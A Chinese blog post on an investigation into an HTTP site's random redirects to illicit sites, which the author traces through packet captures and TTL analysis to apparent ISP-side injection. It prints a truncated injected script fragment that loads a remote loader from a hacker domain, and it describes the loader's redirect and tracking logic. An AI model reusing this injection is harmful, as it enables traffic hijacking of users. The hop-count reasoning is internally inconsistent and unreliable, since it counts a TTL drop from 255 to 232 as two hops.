金亚洲技术笔记

凡是过往,皆为序章。

HTT网站「挂马」排查

Posted on   » 网络安全 • 3278 words • 7 minute read

前言

本文记录了一次客户境外HTTP网站被劫持跳转非法网站的完整排查过程。从最初怀疑客户端恶意软件,到服务器全面排查,再到通过抓包分析和TTL值对比,最终锁定为ISP流量劫持。

事件起因

客户电脑微信访问搭建在境外亚马逊的http网站跳转非法网站。

0186ae89fc2afdd89d2fb90c7ff60dbf


可能性分析

  • 服务器被黑,插入恶意代码
  • 客户电脑存在恶意软件
  • 客户电脑局域网ARP欺骗
  • DNS、CDN污染
  • 服务器机房内网ARP欺骗

初步排查

  • 网站所有文件、nginx配置文件修改日期无异常;
  • 网站前端没有使用外部引用;
  • 本地多次模拟均未复现;

初步怀疑客户电脑有恶意软件(如部分国产压缩软件、壁纸、输入法等),或者局域网存在ARP欺骗。所以只给网站增加了SSL证书,并强制http跳转https。


复现

几天后,客户说再次出现恶意跳转,但本地仍未复现。当天睡觉前想起这件事,想着用家里的网络能不能复现出来,手机点开http链接,跳转了恶意网站,立马就排除了客户电脑存在恶意软件和客户局域网arp欺骗。赶紧开电脑抓包分析。

恶意代码的跳转是随机出现,恶意跳转状态码是200:

恶意跳转


正常跳转状态码是301:

正常跳转



用 wireshark 抓包分析非法响应:

image-20260710161723117



非法响应关键时间线

23:52:11.938  → 客户端发起 HTTP GET 请求 (Host: xx.client.com)
23:52:11.982  → 服务器返回 HTTP 200 OK + 恶意脚本 (1151字节)
23:52:12.078  → 服务器返回 HTTP 301 Moved Permanently (Location: https://xx.client.com/)

特征 200响应(恶意) 301响应(正常)
Server头 nginx/1.30.1
Connection close keep-alive
Content-Length 1041字节 169字节
响应内容 恶意JavaScript 正常301页面

原因猜测

因为前面已经基本排除了网站代码和web服务存在恶意代码,所以猜测 可能是ARP欺骗:

  1. 同一IP返回两种不同响应:所有数据包的源IP都是 15.207.xx.59,但返回了两种完全不同的响应(200+恶意脚本 和 301+正常重定向)。
  2. 200响应缺少Server头:非法响应内容没有Server标识,这可能是攻击者故意隐藏自己的服务器信息。
  3. 响应时序异常
    • 23:52:11.982 → 服务器返回200 OK(恶意脚本)
    • 23:52:12.078 → 服务器又返回301(正常)
    • 两者间隔仅96毫秒,正常情况下服务器不会对同一个请求返回两次响应
  4. TCP序列号异常:从报文中可以看到,200响应和301响应的TCP序列号都是从1开始的,这表明它们可能来自不同的TCP会话,或者是被人为构造的。

我又测试了https,抓包结果一直正常。但仅代表网站代码中不存在恶意代码,不代表服务器运行的服务没有问题:比如nginx配置文件 sub_filter 可能被篡改,并只拦截了http请求。

上述证据都表明,网站请求在http跳转https之前被劫持,这时候应该深度排查:
1、服务器是否被入侵或配置中包含恶意代码
2、服务器是否存在恶意脚本或隐藏进程
3、服务器局域网内是否存在ARP欺骗

因为深夜在家,没有客户服务器的密钥,无法排查服务器。只能先分析恶意代码。这是非法响应内容:

<html><head><meta charset='UTF-8'><meta http-equiv='X-UA-Compatible' content='IE=Edge'><script id='spt'></script><script>!function(){var a=document,e=+new Date,n='d359006_111111111111111111111111M@24@0@1@0@+@k.hacker.com/sa/muten.js?

下载下来 muten.js 大体分析了下,功能如下:

  • 只劫持移动端;
  • 白天、夜间两套不同跳转链接池:7-22点,50%概率在两个博彩网站之间二选一跳转;22-7点,50%概率在两个色情网站之间二选一跳转(网址经常会被封,肯定会经常更换);
  • 存入 Cookie 缓存,用户下次访问同一劫持链接,访问次数+1;
  • 埋点上报:创建0像素iframe上传访问数据、渠道号给黑产后台https://xxx/r.html;
  • 51la、cnzz访问统计;
  • 域名带*则随机字符串替换,绕过域名黑名单;

无法登录服务器,便睡觉了。第二天早晨起床后,想起来手机里有服务器密钥,打开电脑想在本机和服务器同时抓包,但是未再复现。


服务器排查

到公司后,开始对服务器进行彻底排查:

  • 网站文件是否被篡改、是否存在webshell
  • nginx 配置文件 sub_filter 是否插入恶意script、验证Nginx包完整性
  • rootkit检测(rkhunter/chkrootkit)
  • 进程、隐藏进程
  • LKM/eBPF 后门
  • ARP缓存
  • 所有用户crontab定时任务
  • 系统文件、系统日志
  • 所有用户和权限、登录日志、history
  • 网络连接、端口、流量异常
  • 内核模块和驱动
  • 检查最近30天内修改的文件,md5sum校验nginx、系统文件是否篡改
  • docker容器

以上排查均未发现问题,排查幽灵隐藏PID耗费了一些时间,最后确认是短生命周期正常进程在不断创建和销毁。下一步怀疑对象:

  • 机房内网ARP欺骗
  • ISP流量劫持
  • 机房网络设备被入侵(运营商是亚马逊,机房网络设备被入侵只挂非法链接收益太低,排除)

网站未做CDN,排除CDN污染。网站第三方js或模块也可以排除,从抓包结果看,在http初响应阶段就出问题了,所以只可能是中间人攻击。

客户咬死服务器或者网站代码存在漏洞,让提供完整排查报告,整理上述材料进行自证服务器和代码安全没问题实在太繁琐、太浪费时间。既然怀疑ARP欺骗和流量劫持,那就在服务器上开启监控,等下一次恶意请求撞上,记录时间并排查问题,这样几张抓包截图就可以解释清楚。


采取措施

因为基本可以确认非服务器问题,停掉http即可解决问题,但我想找出真正原因,所以没做改动。并按照以下处理:

1. 服务器开启 arpwatch

机房HTTP ARP欺骗流程:

客户端请求 → 正常到达服务器
         服务器处理请求
         服务器返回301响应
      ┌───────┴───────┐
      ↓               ↓
   正常301        ARP欺骗者
   响应           拦截并修改响应
      ↓               ↓
   到达客户端     返回恶意200响应
      ↓               ↓
   被恶意脚本覆盖   到达客户端

针对ARP欺骗,我安装了arpwatch。


2. 服务器 tcpdump 监听80端口通讯

网络流量劫持流程:

客户端 → [网络传输] → 服务器 → [网络传输] → 客户端
              ↑                        ↑
         恶意内容被注入              服务器只返回301

这个流程,可以套用前几天的新闻《浙江一女子称网购NIKE童鞋收到空鞋盒,申请退款被拒后再买同款,根据重量差异举证,获平台支持退款》。收、发快递都称重,如果收到快递异常就去查发货出库称重记录。如果发货没问题,客户收到快递重量出现异常,就可以确定中间环节出了问题。但快递有快递公司配合,可以查出哪一步出了问题。但网络请求经过多层转发,还可能跨多个国家,不好确认中间哪个环节出了问题。下面是不同ISP服务商的 Traceroute 路由追踪:


烟台联通跳到新加坡:

image-20260710172259016


枣庄移动跳到香港:

image-20260710172401067


天津电信跳到美国跳回国又跳到新加坡:

image-20260710172848287


3. 定时任务模拟再次触发非法响应内容

写一个脚本本地运行,使用20个User-Agent,每30秒随机取一个模拟请求移动端访问,触发恶意请求后,根据时间分析服务器抓包报文。

9c5f3389ca992df6dd946da7e2e60a5b

脚本跑了两天都没有再触发恶意代码,可能当前IP没在流量劫持范围。


再次复现

在自测遥遥无期时,同事告诉我他在家也出现了恶意跳转。

IMG_1545


那个时间段ip就几个,筛选掉国外各路大神的ip,顺利找到同事家的ip地址,开启过滤:

image-20260710161554354

可以看到有两次请求:22:51:28 和 22:51:52,均返回了301,没有返回200。arpwatch没有任何异常,表明服务器局域网内不存在ARP欺骗。已经排除了所有不可能,基本可以确定是ISP流量劫持


溯源分析

既然证明了发出的快递没有问题,客户收到的快递有异常。再次回头客户端和服务器的抓包数据,分析ttl,以便确认问题出在isp服务商。


客户端抓包TTL分析

响应类型 TTL值 长度 源IP 分析
恶意200响应 232 1191字节 15.207.xx.59 异常高TTL
正常301响应 53 425字节 15.207.xx.59 正常

服务器端抓包TTL分析

响应类型 TTL值 长度 源IP 分析
所有301响应 64 373-459字节 172.31.24.232 正常(服务器刚发出)

异常分析

TTL值 含义 正常情况
232 非常高,接近255 数据包经过的路由很少(1-2跳)
53 正常范围 数据包经过约11跳路由
64 Linux服务器默认 服务器刚发出的数据包

为什么TTL=232异常

正常路由:客户端 → 路由器 → ISP → ... → AWS → 服务器
                          经过约11跳,TTL从64减到53

异常路由:客户端 → 路由器 → ISP劫持设备 → 直接返回恶意响应
                          只经过2跳,TTL从255减到232(或从234减到232)

结论:恶意响应不是来自真实云服务器,而是来自一个离客户端很近的中间设备(ISP设备)。


其它个人猜测:

  • 黑产不敢大批量劫持流量,会经常更换地域劫持,且就算劫持也会随机抽选终端,类似灰度测试。
  • 只劫持了境外网站,没有劫持境内网站。因为大部分境外网站在国内没有运营人员,不易发现。

解决方案

停用http,只用https。

×